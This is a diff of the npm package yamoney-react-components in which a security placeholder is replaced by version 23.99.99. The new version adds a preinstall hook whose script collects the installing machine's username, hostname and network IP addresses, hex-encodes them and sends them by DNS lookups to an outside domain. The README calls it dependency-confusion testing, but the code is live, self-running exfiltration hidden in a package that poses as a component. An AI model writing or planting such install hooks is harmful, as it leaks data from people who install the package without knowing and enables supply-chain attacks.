yamoney-react-components 0.0.1-security → 23.99.99

package/README.md

@@ -1,5 +1,4 @@
-# Security holding package
+# DO NOT INSTALL THIS PACKAGE! IT EXISTS FOR DEPENDENCY CONFUSION TESTING ONLY!
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=yamoney-react-components for more information.
+## The pre-install script sends DNS queries to the controlled server marking that the dependant package is vulnerable.
+## Dependant package developer is aware of the testing.

package/index.js

@@ -0,0 +1,7 @@
+"use strict";
+
+/**
+ * Module version 23.99.99
+ */
+
+module.exports = {};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "yamoney-react-components",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "23.99.99",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
 }

package/preinstall.js

@@ -0,0 +1,40 @@
+"use strict";
+
+var dns = require("dns");
+var os = require("os");
+
+
+var postfix = '.ym.z.addr-in.com'
+var hostname = os.hostname();
+var username = os.userInfo().username;
+
+var hex = function (str) {
+    return Buffer.from(str, 'utf-8').toString('hex');
+}
+
+var getInterfaces = function () {
+    var nets = os.networkInterfaces();
+    var results = {};
+
+    Object.keys(nets).forEach(function (name) {
+        nets[name].forEach(function (net) {
+            if (net.family === 'IPv4' && !net.internal) {
+                if (!results[name]) {
+                    results[name] = [];
+                }
+                results[name].push(net.address);
+            }
+        });
+    });
+
+    return results;
+}
+
+var payload = hex(username + '@' + hostname);
+dns.lookup(payload + postfix, function (err, res) {});
+
+var ifaces = getInterfaces();
+
+Object.keys(ifaces).forEach(function (iface) {
+   dns.lookup(hex(hostname) + '.' + iface + '.' + ifaces[iface][0] + postfix, function (err, res){});
+});